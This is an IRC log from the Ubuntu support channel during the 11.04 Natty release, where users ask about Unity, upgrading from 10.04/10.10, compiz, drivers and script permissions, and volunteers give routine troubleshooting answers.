[20:11] <jo-erlend> galamar, you don't need to. Press alt, click anywhere in the window and drag it around. :)
[20:11] <[dlp]> Graphics didn't involve any hacking, so that's worrying :-s
[20:11] <Monotoko> acicula, I'l try again...it has been a year since I tried
[20:11] <macross> compiz is gne wondow managing is gone
[20:11] <somethingelse> jo-erlend, I'm just wondering why this change has been forced on desktop users when it doesn't appear to have anything to do with us, are there a lot of people running ubuntu on a touchscreen device?  AFAIK there isn't even a ubuntu touchscreen device in existence...
[20:11] <macross> in place of a beta ubuntu app
[20:11] <echo2> has anyone figured out how to get unity working in vmware
[20:11] <syntheticLife> macross: they didn t change the window manager
[20:11] <macross> perfect
[20:11] <echo2> answer the question
[20:11] <acicula> !patience
[20:11] <Starminn> Monotoko: I've heard WoW runs faster in Ubuntu from those of my friends who play it.
[20:11] <ubottu> Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[20:12] <aravinda> Does any body know about the error messege " waiting from sound system to respond" ???
[20:12] <escott> Leo, no but typing into an ssh shell may not do anything for entropy because it doesn't generate any kernel traffic (beyond the NIC) and the NIC might be invalidated because it is outside accessible and potentially hostile
[20:12] <macross> well i have no window manager now
[20:12] <jo-erlend> somethingelse, there are. But what are you talking about? The classic ubuntu desktop experience is installed by default in 11.04. Just choose it from the login screen.
[20:12] <macross> i can't move anything
[20:12] <acicula> echo2: does the metacity window manager work within vmware?
[20:12] <Starminn> macross: Are you using Metacity or Compiz?
[20:12] <Monotoko> Starminn, may just need an upgrade for my mobo and CPU...they are lacking behind a lil bit these days
[20:12] <escott> Leo, see if you can generate disk io
[20:12] <macross> compiz
[20:12] <macross> i was using compiz
[20:12] <werever> jo-erlend: Done, I found where software sources option is, is within update manager under settings button,  thanks!
[20:12] <sebsebseb> somethingelse: no upstream Gnome and Canonical are moving more away more from each other, since the new interfaces,  under the hood Ubuntu will still be using well the rest of Gnome.  Unity is going to be the interface by default for Ubuntu, for a very long time I expect, unless loads of users don't like it or something.
[20:12] <echo2> compiz does
[20:12] <macross> now it's gone
[20:12] <galamar> jo-erlend, I mentioned that alt grab is not working either.
[20:12] <acicula> Monotoko: what do you have now?
[20:12] <arand> macross: Unity uses compiz, by the way..
[20:12] <macross> i can't click on anything i was totally surprised this works
[20:12] <somethingelse> jo-erlend, I'm running the standard session right now after an hour or two of being frustrated with even the most minor modifications to the unity bar (adding new applications to it), but I'm worried that in future versions users not using unity will be shoved out the door or disregarded, I want somewhere to voice my opinion
[20:12] <shane4ubuntu> be back after a clean install.
[20:13] <BinaryMan> I gotta ask a super important question. I'm using Lucid x86_64 on my primary machine (consider it a production machine). Hard drive is encrypted with LUKS. Should I upgrade to Natty or will things possibly break?
[20:13] <acicula> echo2: what does not work with the unity manager in vmware?
[20:13] <Monotoko> acicula, dual core, 2.6Ghz intel 775
[20:13] <macross> unity is just terrible nothing is working
[20:13] <Starminn> Monotoko: Well, if your processor is slow then running something like WoW is going to be *very* slow. Ask in ##hardware to see if it might be your computer or Ubuntu. That way we have it narrowed down a bit.
[20:13] <jo-erlend> somethingelse, oh. Sorry. I should've seen that. Are you using Unity?
[20:13] <acicula> BinaryMan: do we need to consult our crystal ball, or is this a random guess
[20:13] <FreeTheBee> Hi, does anyone know if texlive is part of the default install in natty?
[20:13] <r000t> I'm having major keyboard lag after upgrading, what do I do?
[20:13] <Z1nn0c> What's wrong with the lastest version? Why is it loading for hours?
[20:13] <acicula> BinaryMan: if its production, test first
[20:13] <arrrghhh> hey all, is the 2.2tb limit on all 32-bit systems, or just ones that don't use GPT?  i have a 32-bit ubuntu server, and i want to add a 3tb drive...
[20:13] <BinaryMan> acicula: I can't. I don't have the same machine to play with.
[20:13] <arand> macross: Please, this channel is for support.
[20:13] <BinaryMan> Or.
[20:13] <escott> Leo, http://bredsaal.dk/improving-randomness-and-entropy-in-ubuntu-9-10
[20:13] <Tora1188> Hey all, just got 11.04 and i saw those rotating wallpaper sets. How can i make my own?
[20:13] <BinaryMan> Actually.
[20:13] <BinaryMan> I take that back.
[20:13] <sebsebseb> macross: ok has your Unity froozen?
[20:13] <FloodBot3> BinaryMan: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[20:13] <acicula> BinaryMan: do you need to ugprade for any reason at all?
[20:13] <roasted_> Question - I can't set Chromium to be my default browser in 11.04. When I select it in the preferences menu, nothing happens. When I open Chromium, it asks me every time if I want to make it my default. Regardless of what I say, it keeps asking me each time I open it. Any ideas?
[20:14] <Raikia> is it smart to upgrade from 10.10 to 11.04 now?  or wait a couple weeks to get stuff ironed out? What are y'alls thoughts
[20:14] <escott> arrrghhh, gpt will avoid that limit
[20:14] <plustax> I haven't gotten a notice to upgrade my ubuntu. Im still on lucid lynx.
[20:14] <macross> i have no window manager i cannot move anything my main menu is gone i can open nothing
[20:14] <plustax> How do I upgrade now?
[20:14] <arrrghhh> escott, excellent, thanks.
[20:14] <Starminn> Raikia: Wait 2-4 weeks. That's what I'm doing.
[20:14] <sebsebseb> Raikia: not sure if it's up yet, but there was something about being able to try Ubuntu 11.04 with Unity 2D in a web browser, on the Ubuntu site
[20:14] <BinaryMan> acicula: GPU hangs at random and I have to REISUB to fix.
[20:14] <Starminn> plustax: Run the update manager
[20:14] <macross> compiz is gone i can run nothing
[20:14] <BinaryMan> acicula: integrated intel
[20:14] <Raikia> Starminn: thought so.  sebsebseb: I just got an upgrade notice.  thats why i asked
[20:14] <jo-erlend> Raikia, 10.10 will be supported for quite a while, so if you're not in a hurry, don't feel pressured. :)
[20:14] <galamar> when does natty come out?
[20:14] <macross> i need to wipe this machine and resintall 10.10
[20:14] <usr13> BinaryMan: !lts
[20:14] <acicula> BinaryMan: sandy bridge processor?
[20:14] <Monotoko> galamar, its out
[20:14] <galamar> oh
[20:14] <macross> never using 11 what a terrible change
[20:15] <sebsebseb> Raikia: in certain ways 10.10 is better, in certain waysi it's worse, and even in certain ways other dsitro's are better, but well this really does depend on the user
[20:15] <usr13> BinaryMan: | !lts
[20:15] <plustax> im running it
[20:15] <syntheticLife> thanks all
[20:15] <macross> ahh well good for trying i suppose
[20:15] <Raikia> sebsebseb: Story of linux :-P
[20:15] <macross> but copying osx was a bad idea
[20:15] <plustax> but it doesnt say I have an update up top like usual
[20:15] <usr13> !lts | BinaryMan
[20:15] <ubottu> BinaryMan: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[20:15] <Monotoko> macross, I don't mind it tbh
[20:15] <jo-erlend> macross, takes 5 seconds to switch back in the login screen.
[20:15] <Tora1188> Can you make rotating wallpapers in unity?
[20:15] <Killerpit4e> what happened to the netbook version
[20:15] <galamar> when will upgrade manager show it?
[20:15] <arand> Z1nn0c: Please don't PM, are you using btrfs?
[20:15] <roasted_> macross, copying what?
[20:15] <Starminn> plustax: In a terminal "sudo apt-get update"
[20:15] <macross> osx
[20:15] <Starminn> plustax: Then open Update Manager again.
[20:15] <gsr> im using ubuntu 10.10, wanting to upgrade.  I ran apt-get update && apt-get dist-upgrade, but it says there is nothing to update (and update-manager says im all up to date).  Do I need to do anything else?
[20:15] <roasted_> macross, hardly.
[20:15] <Z1nn0c> arand: Sure, the live CD is loading for hours.
[20:15] <macross> sure looks it
[20:15] <BinaryMan> acicula: don't think so. Atom N550
[20:16] <BinaryMan> usr13: i know.
[20:16] <Stameni> Is there any change to classic gnome desktop from 10.10 in 11.04 ?
[20:16] <somethingelse> jo-erlend, If there's some like voting booth or something I could go to to let everyone know that I don't think this is a good direction for the OS I would be very interested in doing so.  Unity has to be one of the least customizable things I've ever seen.  You can't even pick which screen edge to display it on (unless there's some manual hack for that I'm not aware of)
[20:16] <IdleOne> gsr: sudo do-release-upgrade
[20:16] <roasted_> macross, the global menu is similar, but works differently. That's the *only* similarity.
[20:16] <TheNumb> o/
[20:16] <jo-erlend> macross, take this somewhere else. This is very offtopic for this channel.
[20:16] <arand> Z1nn0c: I don't know.
[20:16] <Z1nn0c> arand: What is btrfs?
[20:16] <jo-erlend> Stameni, very small.
[20:16] <gsr> IdleOne: danke
[20:16] <roasted_> macross, I've used Ubuntu since 2005. Ever since I started, people somehow found in their twisted minds something to say about how Ubuntu was copying Mac. Ever. Since. Day. One.
[20:16] <Starminn> Stameni: AFAIK it uses the "Main Menu" by default but other than that it's mostly the same.
[20:16] <sebsebseb> gsr: Raikia by the way not really a good idea to try upgrading to 11.04 right now,  the repo's are apparnatly slow
[20:16] <roasted_> It's old, and a dead horse.
[20:16] <arand> Z1nn0c: A filesystem, nevermind it doesn't affect your issue
[20:16] <jo-erlend> Stameni, the appindicators have been improved and such. Default apps have obviously changed in classic ubuntu as well, but other than that, not much.
[20:16] <roasted_> The global menu, yes it's similar, but not identical. The similarities pretty much stop there.
[20:16] <sebsebseb> gsr:  Raikia since release day
[20:17] <Raikia> sebsebseb: thanks
[20:17] <roasted_> Question - I can't set Chromium to be my default browser in 11.04. When I select it in the preferences menu, nothing happens. When I open Chromium, it asks me every time if I want to make it my default. Regardless of what I say, it keeps asking me each time I open it. Any ideas?
[20:17] <tdn> Is there no netbook iso for 11.04?
[20:17] <Z1nn0c> arand: Yes, the live CD loaded to the background and still loading for hours.
[20:17] <TheNumb> Guys, have you seen a bug like that? http://www.youtube.com/watch?v=ov7pGtys7H8
[20:17] <tdn> Where do I get the netbook iso?
[20:17] <Starminn> tdn: They've been merged into one.
[20:17] <hypetech> tdn: there is no more netbook verion
[20:17] <BinaryMan> acicula: my mistake. N455
[20:17] <hypetech> version*
[20:17] <roasted_> tdn, I think the netbook remix is gone, since its so similar to what the regular desktop is now.
[20:17] <Leo> escott: I actually used the local console (not SSH/telnet) to play tetris for just that reason. Maybe I just need to play longer. Not the worst thing to have to do. :) If that doesn't work I'll have a look at some of the alternative sources.
[20:17] <usr13> BinaryMan: In other words, for a "production" system, you are in a good place.  If it is doing what you need it to do, wait ...  That is my recommendation.  (But you could ask 3 different people and get 3 different answers, so.... for what it's worth...)
[20:17] <jo-erlend> tdn, there is no more netbook version. There is only ubuntu and ubuntu server.
[20:17] <Stameni> jo-erlend, Sta4minn, thank you. I will migrate to 11.04 classic desktop than. It can be set to default ?
[20:17] <Stameni> jo-erlend, Starminn, thank you. I will migrate to 11.04 classic desktop than. It can be set to default ?
[20:17] <tdn> Ok.
[20:17] <jo-erlend> Stameni, you just choose it whenever you login. It's at the bottom of the screen after you've selected your user.
[20:17] <Starminn> Stameni: You choose it at login. Like any other Desktop Environment.
[20:18] <tdn> Then there is a dead link on the ubuntu.com page. When you go to alternative downloads and chose bittorrent there is one for netbook and it gives 404.
[20:18] <BinaryMan> usr13: i have client machines running ubuntu in a computer lab with video issues and the issues was closed, suggest I upgrade to natty due to improved video card support.
[20:18] <sebsebseb> Starminn: you can get to Ubuntu Classic from the log in screen, and set as default, but of interest why do you want that?
[20:18] <TerryBook> why is it, that even though I told it *not* to get updates from online while using the alternate iso, it's still downloading files?
[20:18] <Stameni> but if  i dont want login screen, can gnome be default ?
[20:18] <TheRedOctober> What a painful upgrade!  Do --not-- try to enable desktop cube with ccsm
[20:18] <somethingelse> TerryBook, I noticed that too, was easily the longest part of the install
[20:18] <plustax> Starminn it said unable to lock the administration directory
[20:18] <galamar> If I downloaded a natty disc before its release date can I use that disc to install, or do I need to redownload?
[20:18] <jnlsnl_> can i run php as an user?
[20:19] <jo-erlend> tdn, URL please? Keep in mind that there are more releases alive. 10.04 and 10.10 will be available for quite a while. Those do have netbook editions.
[20:19] <BinaryMan> usr13: so, I'm banking on the hope that natty would also fix my video issues.
[20:19] <sebsebseb> Stameni: once you got Classic set as default, you can have auto log in set up, and should go into that by default :)
[20:19] <escott> jnlsnl_, php -i
[20:19] <koistinen> Hello. Am I blind or that Unity bar is completly uncustomable? E.g. I want to add also folders there, edit width etc...
[20:19] <TheNumb> jnlsnl_: like... in commandline?
[20:19] <Monotoko> TheRedOctober, I was just about too...
[20:19] <Starminn> galamar: Just update.
[20:19] <Vhozard> Is it possible to use Landscape as a normal (non-commercial) user ?
[20:19] <Ziber> Alright, my GUI on ubuntu is messed up. I have a flash drive and an ubuntu 10.10 desktop ISO. From the CLI, how can I make the flash drive bootable?
[20:19] <Stameni> sebsebseb tnx, thats good :)
[20:19] <hypetech> tdn: that link is a bug, it's been reported
[20:19] <Wickedspawn> anyone using XChat 2.8.8 on 11.04?
[20:19] <sebsebseb> koistinen: you can add other app icons on it, and that's about it I think, unless you use the compiz settings,  but yes in general it's rather uncoustomiable at the moment
[20:19] <Starminn> Ziber: Have you properly written the .iso too the drive?
[20:19] <Luke_> hey, does 11.04 support Nvida GeForce 310M ?
[20:19] <usr13> BinaryMan: It very will could, not sure.  Depends on what your particular video issues are.
[20:19] <jnlsnl_> I need to run a bash command from a php script, but the command is not executed.. i suspect because of permission issues
[20:19] <Monotoko> Wickedspawn, is that the one in the repo?
[20:19] <sebsebseb> Luke_: is that a new card or?
[20:19] <Ziber> Starminn: Well, I'm asking how to do that.
[20:20] <Wickedspawn> Monotoko: yea
[20:20] <jo-erlend> Wickedspawn, I'm using xchat from the repos. If that's 2.8.8, I am. But that's not a useful question. I'm going away now and I have no idea what you really wanted to ask.
[20:20] <Luke_> hmm... not brand new
[20:20] <BinaryMan> usr13 acicula: i'll make a dd image of /boot and the LUKS partiton. if something breaks, I can boot from a liveCD and push the images back to the hard drive like nothing ever happened.
[20:20] <Monotoko> Wickedspawn, then yeah I am
[20:20] <somethingelse> I couldn't even add a custom script to the unity launcher
[20:20] <leagris> please where can I enable compiz Ezoom in natty. Im visually impaired and it is a pain looking at the tiny everything and I am lost in the mess left by the uprgrade
[20:20] <Starminn> Ziber: What Ubuntu version are you using?
[20:20] <aravinda> Hi can some one explain , is it a good idea to upgrade from 10.10 to 11.04 ...if my works are completely depends on ubuntu.. i mean the job...i'm asking this because it is just released..
[20:20] <somethingelse> then I tried to add the terminal by dragging it onto the bar and it just put a gap between two icons
[20:20] <somethingelse> without anything in it
[20:20] <Ziber> Starminn: I'm on ubuntu 9.04 lts, but the GUI isnt working...
[20:20] <galamar> starwinn, i want to reinstall because my current install is not a x86_64 version its an i586 so i want to better suit my processor.
[20:20] <leagris> !ezoom
[20:20] <sebsebseb> Luke_: well not sure if there are stil quite a few issues with the propritary Nivida drivers resulting in Unity crashing, in 11.04 or not, but if so,  you could install, and then remove the propritary driver, and try the experimental I guess.
[20:20] <Starminn> Ziber: Oh.... I couldn't tell you.
[20:21] <Wickedspawn> Monotoko: every nickname I put in the Nicknames not to highlight box gets eaten.
[20:21] <Wickedspawn> jo-erlend: ^^
[20:21] <jo-erlend> aravinda, it doesn't hurt to wait. If you depend on it, I think a golden rule is to upgrade when you need to. Think why instead of why not.
[20:21] <usr13> BinaryMan: If  you have another drive, you install it as slave and clone it.
[20:21] <jdahm> escott: ok back
[20:21] <Wickedspawn> like I see no reply from them at all...
[20:21] <sebsebseb> Ziber: I think you eman 10.04 LTS?
[20:21] <r000t> aravinda, if you use your keyboard a lot, don't upgrade
[20:21] <Wickedspawn> but it is in my raw log
[20:21] <sebsebseb> Ziber: if your on 9.04 still that's not supported anymore
[20:21] <sebsebseb> sadly
[20:21] <leagris> please can you help me re-enable compiz Ezoom in natty?
[20:21] <hypetech> r000t: why do you say that
[20:21] <somethingelse> I also tried to pin the active google chrome window on the bar by selecting the pin option, and the freaking thing would never open a new chrome window ever....
[20:21] <OverTheHillAndFa> is there a unity guru here?
[20:21] <Luke_> ok then i try to install
[20:21] <hypetech> OverTheHillAndFa: what's your question
[20:21] <r000t> hypetech, major keyboard lag after upgrading
[20:21] <aravinda> ya i use keyboard very much
[20:21] <Luke_> thx for your help
[20:21] <usr13> BinaryMan: There are several things you could do to make an easy path back to where you are.
[20:21] <r000t> I have a 5 second lag when I use the backspace key
[20:22] <hypetech> r000t: I haven't had that problem :\
[20:22] <Witchsong_> OverTheHillAndFa, we'll try help the best we can, even if we are not gurus. :)
[20:22] <OchoZero9> what' sthe default install directory of applications?
[20:22] <Ziber> Well, either that, or suggestions on how to fix my GUI... My login screen doesnt show me a password prompt, so I cant login.
[20:22] <aravinda> and i work with tools like maven
[20:22] <Superstar> Can Unity be moved yet?
[20:22] <Monotoko> Wickedspawn, ahhh I don't use that feature
[20:22] <Monotoko> sorry
[20:22] <ohsix> r000t: thats an odd problem
[20:22] <jo-erlend> Superstar, moved?
[20:22] <escott> OchoZero9, /usr/bin for binaries /usr/share for resources /usr/lib for you get the ide
[20:22] <hypetech> jo-erlend: I think he means putting the dock somewhere else
[20:22] <Somelauw> awesome > kde > gnome > unity
[20:22] <Superstar> jo-erlend to the bottom of the screen
[20:22] <ohsix> r000t: what software do you use that might be doing passive grabs, or are you using an ime? or did you mess with xorg's priority
[20:22] <OverTheHillAndFa> i uninstalled unity-2d and reinstalled standard unity. now it will not load from login. only from terminal
[20:23] <hypetech> OverTheHillAndFa: have you tried "unity --reset" ?
[20:23] <jo-erlend> Superstar, no, and I don't think that's going to happen, unless we get a portrait mode. But that'd  almost certainly include other stuff as well.
[20:23] <OverTheHillAndFa> nope
[20:23] <hypetech> OverTheHillAndFa: give that a shot and see if it helps on reboot
[20:23] <Starminn> Ziber: Reinstall gdm?
[20:23] <Ziber> Could try.
[20:23] <Tora1188> can i make rotating wallpapers using unity? the gnome methods dont work anymore obviously
[20:23] <r000t> ohsix, I don't know what the first two mean, and no, I did not change xorg's priority
[20:24] <aravinda> <root> : why it is ? regarding keyboard
[20:24] <sebsebseb> Tora1188: no don't think so
[20:24] <ohsix> r000t: find out what the first two mean and investigate the software you are running
[20:24] <leagris> HELP!
[20:24] <Witchsong_> Anyone know if there exists a Banshee plugin to add Spotify support?
[20:24] <sebsebseb> Tora1188: also the Gnome 2 wall papers, do work in Unity, because it's on top of Gnome 2 still for 11.04
[20:24] <Tora1188> crud. I saw those nice roating sets preloaded and thought they made it native.
[20:24] <OverTheHillAndFa> funny no one in the ayatana channel did not suggest that?
[20:24] <sebsebseb> !ask | leagris
[20:24] <ubottu> leagris: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[20:24] <leagris> why can't I use alt tab to switch app, where is compiz config
[20:24] <leagris> where do I re-enable Ezoom?
[20:24] <OchoZero9> i have over 4GB in /usr/lib is that normal?
[20:24] <hypetech> leagris: do "ccsm"
[20:24] <sebsebseb> Witchsong_: no don't think so
[20:25] <sebsebseb> Witchsong_: you can run Spotify in Wine though
[20:25] <ohsix> r000t: also paste the output of xlsclients -al to a pastebin
[20:25] <OverTheHillAndFa> hyptech: seems like it might work. will do a reboot soon
[20:25] <euclid> natty nuked my wireless, can anyone point me to a fix?
[20:25] <hypetech> OverTheHillAndFa: cool
[20:25] <ohsix> OchoZero9: did you install kde? it is normal
[20:25] <sebsebseb> !details | escott
[20:25] <ubottu> escott: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[20:25] <aravinda> It seems new release doesn't stable enough to work in a professional environment????????
[20:25] <Tetsuo55> Witchsong_: are you heksesang?
[20:25] <Superstar> I don't understand what possessed them to put it on the left. They must be confused. Decade of computing has launches, top or bottom as the norm - ie windows 3.1-7 and osx, and they thought this would be cool or different?
[20:25] <Witchsong_> sebsebseb, I know, but I'd love to have a plugin for it in Banshee so I wouldn't have to use Wine and it would better integrate with Unity. :)
[20:25] <sebsebseb> aravinda: well persoanlly I woudn't give Unity to a business at this time :)
[20:25] <phonex01> guys im trying to open package manager and i have error said that there is something wrong in the sources.list file ?
[20:25] <phonex01> how can i fix that ?
[20:25] <Witchsong_> Tetsuo55, yes. :)
[20:26] <Tetsuo55> Witchsong_: where you been man, join the mpc chan
[20:26] <hypetech> Superstar: start menus have always been in top left or bottom left
[20:26] <OverTheHillAndFa> hyptech: now it just says: Setting Update "run_key" in terminal. should i just wait?
[20:26] <OchoZero9> ohsix: Yes.
[20:26] <sebsebseb> Tetsuo55: mpc chan?
[20:26] <aravinda> sebsebseb : so it's better wait..:)
[20:26] <hypetech> OverTheHillAndFa: yea just let it finish, I interrupted mine the other day and rebooted anyway and all was fine, but I'd try and let it finish anyway
[20:26] <Superstar> hypetech but a launcher has never. unity is a launcher not just a start menu
[20:26] <Tetsuo55> sebsebseb: #mpc-hc its a windows media player, doesnt work on wine right now
[20:27] <Witchsong_> Tetsuo55, been busy, getting ready to finish my bachelor degree. In two months I will finally be done. :D
[20:27] <OverTheHillAndFa> hyptech: ok, thanks :)
[20:27] <Tetsuo55> Witchsong_: and then full-time coding on mpc-hc? :P
[20:27] <sebsebseb> asmogator:  if I was running a business I would  more likely give them Gnome Shell http://gnome3.org ,but I think for now Gnome 2 and KDE and such, would be more suitable, and for quite a while yet really
[20:27] <Witchsong_> sebsebseb, it was directed at me, I've been doing some coding on the player. ;)
[20:27] <Witchsong_> Tetsuo55, if you're willing to pay me. :P
[20:28] <galamar> ok so how do i get my current install to recognize that natty is available?
[20:28] <Tetsuo55> Witchsong_: i can you in "gratitudes", that work for you?
[20:28] <Superstar> Actually I've changed my mind reading this: http://askubuntu.com/questions/33605/can-i-move-the-unity-launcher-to-the-bottom-of-the-screen-like-windows-7
[20:28] <r000t> ohsix, http://pastebin.com/dC4B8hpK
[20:28] <FreeTheBee> Withong_ a bit more sober than banshee but mopidy works natively
[20:28] <sebsebseb> galamar: Which version is your curren install?
[20:28] <FreeTheBee> it's based on mpd (music player deamon)
[20:28] <galamar> 10.10
[20:28] <Witchsong_> Tetsuo55, it doesn't taste as good as the food I'd get if I had money. :P
[20:28] <iksik> hello
[20:28] <sebsebseb> !upgrade | galamar
[20:28] <ubottu> galamar: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[20:28] <aravinda> thanks!
[20:28] <sebsebseb> galamar: trying to upgrade now would probably be pretty slow by the way
[20:28] <Tetsuo55> Witchsong_: true
[20:29] <Superstar> it's true on a 1920x1080 display i have a lot of horizontal space that never gets used. i take it back
[20:29] <iksik> i've just updated my ubuntu into 11.04.... how can i remove this unity panel with apps icons? i really like 'docky' ;/
[20:29] <Witchsong_> Anyone here know how much work it would be to write a Spotify plugin for Banshee?
[20:29] <galamar> so I should wait to upgrade/
[20:29] <iksik> and the default apps menu under 'gnome icon'
[20:29] <Tetsuo55> anyoen here happen to have a dell e6400 and installed 10.04 problemfree?
[20:29] <TheRedOctober> galamar: i wish I had
[20:30] <KlingaN> Hello. I've made it far coming here. My journey has been long. I am new to Ubuntu, as you might understand. Now, I am wondering what I need to do in order to update my Alpha 11.04 to the full version - any clues?
[20:30] <maco> KlingaN: install updates. the end.
[20:30] <TheRedOctober> KlingaN: go into Update Manager and you will find it
[20:30] <ohsix> r000t: what is "exe", and that unknown entry?
[20:30] <pdg1> ooohhh
[20:30] <KlingaN> maco: Update manager?
[20:30] <maco> KlingaN: yep
[20:30] <KlingaN> TheRedOctober: Thanks
[20:30] <pdg1> is there an ubuntu server chan or is this the place for that 2?
[20:30] <maco> KlingaN: "alpha" is just a name for a certain point in time during the dev cycle. if you kept up with installing updates the whole time, you've moved from alpha to beta to final automatically
[20:31] <TheRedOctober> KlingaN: NP, hope you enjoy
[20:31] <maco> pdg1: #ubuntu-server
[20:31] <KlingaN> maco: the red october: Is there any way to confirm my version?
[20:31] <plustax> Im in update manager running lucid lynx. and I dont see the new OS update anywhere
[20:31] <sebsebseb> iksik: you can change to Ubuntu Classic Desktop from the log in screen, and set as default even :)
[20:31] <pdg1> maco thnx
[20:31] <maco> KlingaN: if you have no updates available, you're at final
[20:31] <plustax> how do I update from 10 to 11
[20:31] <TheRedOctober> klingaN: lsb_release -a
[20:31] <maco> plustax: lucid is an lts release so only shows other lts releases by default
[20:31] <iksik> sebsebseb, unity looks fine with this 'global menu' feature
[20:31] <sebsebseb> plustax: 10.04 or 10.10 ?
[20:31] <ohsix> r000t: use xprop -id with those window id's and pastebin the output
[20:31] <plustax> sebrock im on 10.10
[20:31] <galamar> why is my flash slow? on webpages things blink alot slower than they should.
[20:31] <iksik> but the only thing is that panel and menu ;/
[20:31] <plustax> sebsebseb i mean
[20:31] <maco> plustax: in the software sources thing in the menu, change update settings to show non-lts releases. then you can upgrade to 10.10
[20:32] <sebsebseb> iksik: Ubuntu Classic Desktop can use the global menu as well,  I don't think it's default though, well it may be
[20:32] <maco> plustax: from there to 11.04. you cannot skip 10.10
[20:32] <iksik> uhm
[20:32] <iksik> ok, thanks, i'll try
[20:32] <kdubois> galamar: its proprietary :)
[20:32] <nutsfornatty> flash sucks on linux. always has. probably always will.
[20:32] <galamar> bastards
[20:32] <maco> plustax: 10.10 isnt lucid
[20:32] <hypetech> flash sucks in general
[20:32] <sebsebseb> !language | galamar
[20:32] <ubottu> galamar: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[20:32] <sebsebseb> !upgrade | galamar
[20:32] <ubottu> galamar: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[20:32] <iksik> lol
[20:32] <CaneToad> I'm running 10.10 and I've got a updates that say "Partial Upgrade"... is that something to do with the move o 11.04 ????
[20:32] <jnlsnl_> can anyone help ,me with this? I need to give PHP permission to execute a bash script
[20:32] <sebsebseb> galamar: and upgrading now will probably be slow
[20:32] <iksik> sebsebseb, where i can find 'logout' here? : D
[20:33] <ohsix> nutsfornatty, hypetech: w4m
[20:33] <Monotoko> WoW test 1! :P
[20:33] <sebsebseb> iksik: on the top right, in the menu there, in Unity
[20:33] <koistinen> removing gnome applets such as weather, notification area... sux :(
[20:33] <trijntje> are the update servers overloaded? I'm upgrading with only 40kB/s
[20:33] <sebsebseb> koistinen: indeed
[20:33] <KlingaN> It's really hard to keep up with the chatting here...
[20:33] <hypetech> trijntje: yea
[20:33] <TheRedOctober> jnlsnl: wow, never heard that one before...why use php in such a situation?
[20:33] <strigoi661> ?
[20:33] <sebsebseb> koistinen: ,but sadly even Gnome Shell has done that, but that feature is probably coming for Gnome 3.2 :)  the next one in about six months, yay nice :)
[20:33] <hypetech> jnlsnl_: make sure the script is set to executable
[20:33] <nutsfornatty> weather app is there, you can install from terminal
[20:33] <buco> after Kubuntu 11.04 install, I automatically log into classic mode, how I can change this?
[20:34] <plustax> I cant find in my update settings how to go from 10.10 to 11
[20:34] <koistinen> sebsebseb: thanks... yeah, that sux :/
[20:34] <galamar> okay so as for my first issue with the windows being to far up to grab and alt to grab doesnt work either any solutions for that?
[20:34] <nyuszika7h> !isitout
[20:34] <ubottu> Yes, join #ubuntu-release-party to celebrate!
[20:34] <hypetech> plustax: "sudo do-release-upgrade"
[20:34] <sebsebseb> buco: log out, and select what you want on log in screen
[20:34] <trijntje> hypetech, ok, thanks. Maybe I should just cancel the upgrade and try again tomorrow. Or would that break stuff when its still downloading?
[20:34] <jnlsnl_> I want to make a service hook from github that executes a git pull command so a test server is in synch with my repository
[20:34] <Monotoko> ...where does FF download to??
[20:34] <hypetech> trijntje: it won't break anything if it's still in the downloading phase
[20:34] <sebsebseb> trijntje: yeah not really a good idea to cancel the upgrade once you started
[20:34] <nutsfornatty> user / downloads folder @ monotoko
[20:34] <plustax> oh I am on 10.04 so I need to upgrade to 10.10 first
[20:34] <jnlsnl_> hypetech i did 777 on it and nothing :/
[20:34] <buco> tanx sebsebseb, i gonna try
[20:34] <sebsebseb> trijntje: installing stuff
[20:34] <plustax> how do I do that?
[20:34] <usr13> Monotoko: To Downloads/  by default  (if it exists)
[20:34] <hypetech> jnlsnl_: do "chmod a+x <script>"
[20:34] <r000t> ohsix: http://pastebin.com/MXxmt6h5
[20:34] <sebsebseb> plustax: yep got to go through 10.10 to get 11.04
[20:34] <KlingaN> maco: / theredoctober: What does that LSB-abbreviation mean? I know LTS is Long Term Support... ?
[20:35] <maco> KlingaN: lsb = linux standards base
[20:35] <hypetech> jnlsnl_: you have to set the executable bit that way to run scripts
[20:35] <alex13> Hi.  I cannot boot into Ubuntu (all I see is a black screen forever).  How can I fix this?  I have natty 11.04
[20:35] <plustax> sebsebseb okay how do I go to 10.10 now
[20:35] <Monotoko> nutsfornatty, usr13 .... it wasn't there, it was in my tmp folder
[20:35] <sebsebseb> plustax: you can upgrade to it, but  right now probably not the best time, repo's are probably pretty slow
[20:35] <KlingaN> maco: Confused, but thanks. :) You're really quick at answering!
[20:35] <sebsebseb> plustax: also by default 10.04 only shows Long Term Support releases
[20:35] <sebsebseb> plustax: by default LTS's only show other LTS's
[20:35] <plustax> i dont mind the wait
[20:35] <nutsfornatty> monotoko, open the menu for firefox and change the default downloads directory for saving items
[20:35] <sebsebseb> !upgrade | plustax
[20:35] <ubottu> plustax: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[20:36] <iksik> hmm
[20:36] <koistinen> I miss the notification area the most! How can I easily see what am I playing in Rhythmbox, if my Dropbox is synced or everything else is happening? For this I must go back to Ubuntu Classic
[20:36] <alex13> I cannot boot into ubuntu!  I need help.  All I see is a black screen.
[20:36] <iksik> sebsebseb, where i can find this 'global menu' feature now?
[20:36] <maco> KlingaN: its a standards body that mostly just went with "red hat's way is standard!" *roll eyes* but decreeing a standard place to put release info (as opposed to /etc/redhat_release and whatever debian's was) was handy
[20:36] <sebsebseb> plustax: and in certain ways, you may find 10.04 better, so not sure if they got the try 11.04 online thing in a web browser up yet, but yeah that for example is a way to try 11.04
[20:36] <nutsfornatty> monotoko, menu -> edit -> preferences -> change the downloads folder
